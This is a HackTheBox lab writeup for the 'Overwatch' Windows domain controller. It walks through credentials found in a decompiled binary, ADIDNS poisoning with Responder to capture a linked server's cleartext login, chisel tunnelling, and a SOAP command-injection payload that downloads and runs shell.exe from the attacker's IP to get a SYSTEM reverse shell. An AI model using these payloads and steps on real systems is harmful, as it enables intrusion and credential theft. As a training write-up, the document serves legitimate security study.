Overwatch

📅 Last Updated: Apr 17, 2026 07:41 | 📄 Size: 23.0 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Medium | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ nmap -sC -sV -Pn 10.129.244.81 -oN ./nmap.txt 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-16 04:45 +0000
Nmap scan report for 10.129.244.81
Host is up (0.45s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  tcpwrapped
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-16 04:50:11Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: OVERWATCH
|   NetBIOS_Domain_Name: OVERWATCH
|   NetBIOS_Computer_Name: S200401
|   DNS_Domain_Name: overwatch.htb
|   DNS_Computer_Name: S200401.overwatch.htb
|   DNS_Tree_Name: overwatch.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2026-04-16T04:50:45+00:00
|_ssl-date: 2026-04-16T04:51:23+00:00; +4m11s from scanner time.
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Not valid before: 2025-12-07T15:16:06
|_Not valid after:  2026-06-08T15:16:06
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-04-16T04:50:45
|_  start_date: N/A
|_clock-skew: mean: 4m11s, deviation: 0s, median: 4m10s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.27 seconds

The DNS domain name is S200401.overwatch.htb, let's add it to /etc/hosts

Then I ran an nmap port scan to see if any other ports were open. I found a random high-numbered port (6520) that was open, which seemed like a clue.

Information Gathering

I would start with SMB service

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ nxc smb overwatch.htb -u guest -p ''
SMB         10.129.244.81   445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.244.81   445    S200401          [+] overwatch.htb\guest:

Let's try to interact with SMB service

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ smbclient -L  //overwatch.htb/ -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        software$       Disk      
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to overwatch.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ smbclient //overwatch.htb/software$ -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DH        0  Sat May 17 01:27:07 2025
  ..                                DHS        0  Thu Jan  1 06:46:47 2026
  Monitoring                         DH        0  Sat May 17 01:32:43 2025
cd
                7147007 blocks of size 4096. 1366605 blocks available
smb: \> cd Monitoring\
smb: \Monitoring\> dir
  .                                  DH        0  Sat May 17 01:32:43 2025
  ..                                 DH        0  Sat May 17 01:27:07 2025
  EntityFramework.dll                AH  4991352  Thu Apr 16 20:38:42 2020
  EntityFramework.SqlServer.dll      AH   591752  Thu Apr 16 20:38:56 2020
  EntityFramework.SqlServer.xml      AH   163193  Thu Apr 16 20:38:56 2020
  EntityFramework.xml                AH  3738289  Thu Apr 16 20:38:40 2020
  Microsoft.Management.Infrastructure.dll     AH    36864  Mon Jul 17 14:46:10 2017
  overwatch.exe                      AH     9728  Sat May 17 01:19:24 2025
  overwatch.exe.config               AH     2163  Sat May 17 01:02:30 2025
  overwatch.pdb                      AH    30208  Sat May 17 01:19:24 2025
  System.Data.SQLite.dll             AH   450232  Sun Sep 29 20:41:18 2024
  System.Data.SQLite.EF6.dll         AH   206520  Sun Sep 29 20:40:06 2024
  System.Data.SQLite.Linq.dll        AH   206520  Sun Sep 29 20:40:42 2024
  System.Data.SQLite.xml             AH  1245480  Sat Sep 28 18:48:00 2024
  System.Management.Automation.dll     AH   360448  Mon Jul 17 14:46:10 2017
  System.Management.Automation.xml     AH  7145771  Mon Jul 17 14:46:10 2017
  x64                                DH        0  Sat May 17 01:32:33 2025
  x86                                DH        0  Sat May 17 01:32:33 2025

                7147007 blocks of size 4096. 1373316 blocks available

We need to download all of them and try to decomplie them

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ file overwatch.exe                                                                                                                             
overwatch.exe: PE32+ executable for MS Windows 6.00 (console), x86-64 Mono/.Net assembly, 2 sections

Hard-coded MySQL usernames and passwords were found in the Program.cs file; these usernames and passwords are used to establish a connection to the SQL server.

		string tempFileName = Path.GetTempFileName();
		File.Copy(text, tempFileName, overwrite: true);
		try
		{
			SqlConnection val = new SqlConnection("Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;");

Now we get the MSSQL credit sqlsvc:TI0LKcfHzZw1Vv

MSSQL Enumerate

I would try to interact with MSSQL

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ impacket-mssqlclient overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.244.81 -windows-auth
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Traceback (most recent call last):
  File "/usr/share/doc/python3-impacket/examples/mssqlclient.py", line 94, in <module>
    ms_sql.connect()
    ~~~~~~~~~~~~~~^^
  File "/usr/lib/python3/dist-packages/impacket/tds.py", line 563, in connect
    sock.connect(sa)
    ~~~~~~~~~~~~^^^^
TimeoutError: timed out

By checking the nmap output, the port 1443not open for us.

Remember before, there is another wired port 6520open, so let's try to use this port to connect

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ impacket-mssqlclient overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.244.81 -port 6520 -windows-auth 
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc  guest@master)> 

It worked here. Let's continue to enumerate the database.

SQL (OVERWATCH\sqlsvc  guest@master)> SELECT name FROM sys.databases;
name        
---------   
master      
tempdb      
model       
msdb        
overwatch   
SQL (OVERWATCH\sqlsvc  guest@master)> select * from overwatch;
ERROR(S200401\SQLEXPRESS): Line 1: Invalid object name 'overwatch'.
SQL (OVERWATCH\sqlsvc  guest@master)> SELECT name FROM sys.tables;
name               
----------------   
spt_fallback_db    
spt_fallback_dev   
spt_fallback_usg   
spt_monitor   

In these databases and tables, I did not find anything interesting.

Continue to enumerate linked server

SQL (OVERWATCH\sqlsvc  guest@master)> EXEC sp_linkedservers;
SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------   
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL      
SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL      

SQL (OVERWATCH\sqlsvc  guest@master)> EXEC sp_helplinkedsrvlogin;
Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------  

A connection to a server named SQL07 appeared here. Further execution of the EXEC sp_helplinkedsrvlogin; command returned no lines, indicating that explicit login mapping is not configured. This strongly suggests that the linked server is using self-mapping, meaning that any query to SQL07 will be authenticated using the current security context (in this case, the sqlsvc account).

The connection was tested by running EXEC ('SELECT @@version') AT SQL07;. The query failed with a "Server not found or inaccessible" error and a login timeout.

SQL (OVERWATCH\sqlsvc  guest@master)> EXEC ('SELECT @@version') AT SQL07;

INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL Server Books Online.".
ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [64]. 

It tells me that SQL Server attempted to resolve the hostname SQL07 via DNS, but found no record.

When I checked the login mappings using EXEC sp_helplinkedsrvlogin;, no rows were returned. This means that no explicit mappings are configured.

The domain name resolution failure presents an excellent opportunity to launch an ADIDNS poisoning attack. If I can create a DNS record pointing to SQL07.overwatch.htb and directing it to my attacking machine, then the next time SQL Server attempts to connect to that linked server, it will send me its credentials.

Since sqlsvc is a service account, it likely has DNS modification privileges for that domain. We can use dnstool.py to add an A record for SQL07 pointing to my IP address.

Then we start Responder and re-trigger the query.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ dnstool -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' -r SQL07 --data 10.10.14.14 --action add --type A 10.129.244.81
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ sudo responder -I tun0       
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

The query EXEC ('SELECT @@version') AT SQL07;to triggers a DNS lookup.

SQL (OVERWATCH\sqlsvc  guest@master)> EXEC ('SELECT @@version') AT SQL07;
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Communication link failure".
ERROR(MSOLEDBSQL): Line 0: TCP Provider: An existing connection was forcibly closed by the remote host.

Now you can get the response with the credit

[MSSQL] Cleartext Client   : 10.129.244.81
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

Let's verify it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ nxc smb overwatch.htb -u sqlmgmt -p bIhBbzMMnB82yx
SMB         10.129.244.81   445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.244.81   445    S200401          [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx 
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ nxc winrm overwatch.htb -u sqlmgmt -p bIhBbzMMnB82yx
WINRM       10.129.244.81   5985   S200401          [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) 
WINRM       10.129.244.81   5985   S200401          [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx (Pwn3d!)

Now we can use evil-winrmto get the shell as sqlmgmt

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ evil-winrm -i overwatch.htb -u sqlmgmt -p bIhBbzMMnB82yx 
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> whoami
overwatch\sqlmgmt

Privilege Escalation

I would check the privilege and group firstly

*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

There seems nothing interesting here, I would continue to check the port usage

*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> netstat -ano -p TCP

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       688
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       920
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       688
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       688
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       920
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       688
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       688
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       688
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       808
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:6520           0.0.0.0:0              LISTENING       3052
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       2956
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       688
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       528
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1172
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1692
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       2120
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       688
  TCP    0.0.0.0:52720          0.0.0.0:0              LISTENING       688
  TCP    0.0.0.0:52721          0.0.0.0:0              LISTENING       2864
  TCP    0.0.0.0:52724          0.0.0.0:0              LISTENING       672
  TCP    0.0.0.0:52728          0.0.0.0:0              LISTENING       688
  TCP    0.0.0.0:52745          0.0.0.0:0              LISTENING       2972
  TCP    0.0.0.0:55077          0.0.0.0:0              LISTENING       5556
  TCP    0.0.0.0:56084          0.0.0.0:0              LISTENING       3052
  TCP    10.129.244.81:53       0.0.0.0:0              LISTENING       5556
  TCP    10.129.244.81:139      0.0.0.0:0              LISTENING       4
  TCP    10.129.244.81:5985     10.10.14.14:37736      TIME_WAIT       0
  TCP    10.129.244.81:5985     10.10.14.14:37748      ESTABLISHED     4
  TCP    10.129.244.81:5985     10.10.14.14:52198      TIME_WAIT       0
  TCP    10.129.244.81:6520     10.10.14.14:35980      ESTABLISHED     3052
  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       5556

port 8000 seems useful The overwatch.exe.config file, originally downloaded from the software$ shared folder, contained a website running on port 8000.

PublicKeyToken=b77a5c561934e089" requirePermission="false" />
  </configSections>
  <system.serviceModel>
    <services>
      <service name="MonitoringService">
        <host>
          <baseAddresses>
            <add baseAddress="http://overwatch.htb:8000/MonitorService" />
          </baseAddresses>

Now I would chisel to help us port forward to our local machine.

# From our local machine
┌──(wither㉿localhost)-[/opt/chisel]
└─$ ./chisel server -p 9001 --reverse --host 10.10.14.14
2026/04/17 06:42:19 server: Reverse tunnelling enabled
2026/04/17 06:42:19 server: Fingerprint huPQMuue/LgGYSJldk6jZUepQO0Z8ZJhl+mTEwXVjyc=
2026/04/17 06:42:19 server: Listening on http://10.10.14.14:9001

# On the target machine
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> ./chisel.exe client 10.10.14.14:9001 R:8000:127.0.0.1:8000
chisel.exe : 2026/04/16 23:56:00 client: Connecting to ws://10.10.14.14:9001
    + CategoryInfo          : NotSpecified: (2026/04/16 23:5...0.10.14.14:9001:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
2026/04/16 23:56:03 client: Connected (Latency 324.6489ms)

Now let's visit that service http://127.0.0.1:8000/MonitorService The leaked URL http://overwatch.htb:8000/MonitorService?singleWsdl exposes the entire SOAP service definition publicly—without authentication. The WSDL shows that the KillProcess operation accepts a raw processName parameter as a plain string, a classic warning sign of command injection.

A SOAP request is constructed, and shell metacharacters (&, ;, |) are injected into the parameter to break the expected process termination logic and execute arbitrary commands, potentially reading any file directly from the response.

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <KillProcess xmlns="http://tempuri.org/">
 <processName>a; dir</processName>
        </KillProcess>
    </soap:Body>
</soap:Envelope>

Then we can find the command runs

Sending a basic test request revealed that the processName parameter was being passed directly to PowerShell's Stop-Process -Name <input> -Force:

<KillProcess xmlns="http://tempuri.org/">
    <processName>a; dir</processName>
</KillProcess>

dir returned a directory listing, confirming command injection. However, most commands failed because -Force was being appended to the injected command by the backend.

Using PowerShell's # comment character to neutralize the trailing -Force:

<processName>a; whoami #</processName>

It give the response nt authority\system

Two issues needed to be addressed::

1. XML special characters ($, |, &) broke XML parsing → solved with CDATAXML 
2. `-Force` appended to injected commands → solved with # comment-Force 

First, confirmed outbound connectivity by fetching a test URL from the attacker machine. Then uploaded and executed a reverse shell:

<processName><![CDATA[a; Invoke-WebRequest -Uri 'http://10.10.14.14:8888/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe' #]]></processName>

Then execute the shell

<processName><![CDATA[a; C:\Windows\Temp\shell.exe #]]></processName>

Finally you can get the reverse shell as system

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Overwatch]
└─$ nc -lnvp 4444              
listening on [any] 4444 ...
connect to [10.10.14.14] from (UNKNOWN) [10.129.244.81] 51677
Microsoft Windows [Version 10.0.20348.4648]
(c) Microsoft Corporation. All rights reserved.

C:\Software\Monitoring>whoami
whoami
nt authority\system

Description

In general, the focus is on exploiting DNS poisoning, which involves considering linked servers and enumerating their DNS information.

The privilege escalation part mainly involves fuzzing command injection into the SOAP service. The filters here are not very strict, and the overall difficulty is moderate.